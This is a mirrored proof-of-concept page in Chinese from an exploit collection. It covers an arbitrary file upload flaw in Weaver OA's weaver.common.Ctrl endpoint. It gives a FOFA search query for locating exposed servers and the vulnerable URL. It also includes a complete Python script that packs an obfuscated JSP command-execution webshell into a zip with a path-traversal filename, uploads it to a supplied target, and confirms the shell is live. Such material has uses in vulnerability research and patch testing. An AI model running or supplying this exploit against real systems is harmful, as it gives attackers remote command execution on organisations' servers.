mirror of
https://github.com/Threekiii/Awesome-POC.git
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110 lines
3.1 KiB
Markdown
110 lines
3.1 KiB
Markdown
# 泛微OA weaver.common.Ctrl 任意文件上传漏洞
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## 漏洞描述
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泛微OA weaver.common.Ctrl 存在任意文件上传漏洞，攻击者通过漏洞可以上传webshell文件控制服务器
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## 漏洞影响
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```
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泛微OA
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```
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## FOFA
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```
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app="泛微-协同办公OA"
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```
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## 漏洞复现
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存在漏洞的路径为
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```plain
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/weaver/weaver.common.Ctrl/.css?arg0=com.cloudstore.api.service.Service_CheckApp&arg1=validateApp
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```
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请求包为
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使用POC文件上传
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## 漏洞POC
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```python
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import zipfile
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import random
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import sys
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import requests
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def generate_random_str(randomlength=16):
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random_str = ''
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base_str = 'ABCDEFGHIGKLMNOPQRSTUVWXYZabcdefghigklmnopqrstuvwxyz0123456789'
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length = len(base_str) - 1
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for i in range(randomlength):
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random_str += base_str[random.randint(0, length)]
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return random_str
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mm = generate_random_str(8)
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webshell_name1 = mm+'.jsp'
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webshell_name2 = '../../../'+webshell_name1
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def file_zip():
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shell = """<%@ page contentType="text/html;charset=UTF-8" language="java" %>
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<%@ page import="sun.misc.BASE64Decoder" %>
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<%
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if(request.getParameter("cmd")!=null){
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BASE64Decoder decoder = new BASE64Decoder();
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Class rt = Class.forName(new String(decoder.decodeBuffer("amF2YS5sYW5nLlJ1bnRpbWU=")));
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Process e = (Process)
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rt.getMethod(new String(decoder.decodeBuffer("ZXhlYw==")), String.class).invoke(rt.getMethod(new
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String(decoder.decodeBuffer("Z2V0UnVudGltZQ=="))).invoke(null, new
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Object[]{}), request.getParameter("cmd") );
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java.io.InputStream in = e.getInputStream();
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int a = -1;
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byte[] b = new byte[2048];
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out.print("
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<pre>");
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while((a=in.read(b))!=-1){
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out.println(new String(b));
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}
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out.print("</pre>");
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}
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%>
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""" ## 替换shell内容
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zf = zipfile.ZipFile(mm+'.zip', mode='w', compression=zipfile.ZIP_DEFLATED)
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zf.writestr(webshell_name2, shell)
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def GetShell(urllist):
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file_zip()
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print('上传文件中')
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urls = urllist + '/weaver/weaver.common.Ctrl/.css?arg0=com.cloudstore.api.service.Service_CheckApp&arg1=validateApp'
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file = [('file1', (mm+'.zip', open(mm + '.zip', 'rb'), 'application/zip'))]
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requests.post(url=urls,files=file,timeout=60, verify=False)
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GetShellurl = urllist+'/cloudstore/'+webshell_name1
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GetShelllist = requests.get(url = GetShellurl)
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if GetShelllist.status_code == 200:
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print('利用成功webshell地址为:'+GetShellurl)
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else:
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print('未找到webshell利用失败')
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def main():
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if (len(sys.argv) == 2):
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url = sys.argv[1]
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GetShell(url)
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else:
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print("python3 poc.py http://xx.xx.xx.xx")
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if __name__ == '__main__':
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main()
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```
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## 参考文章
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[原漏洞公开地址](https://github.com/GTX8090TI/GTX8090TI.github.io/blob/6dd04a19bbc4fcef436e0b2f05c15bc98ac0c852/2021/05/02/泛微OA-前台GetShell复现/index.html) |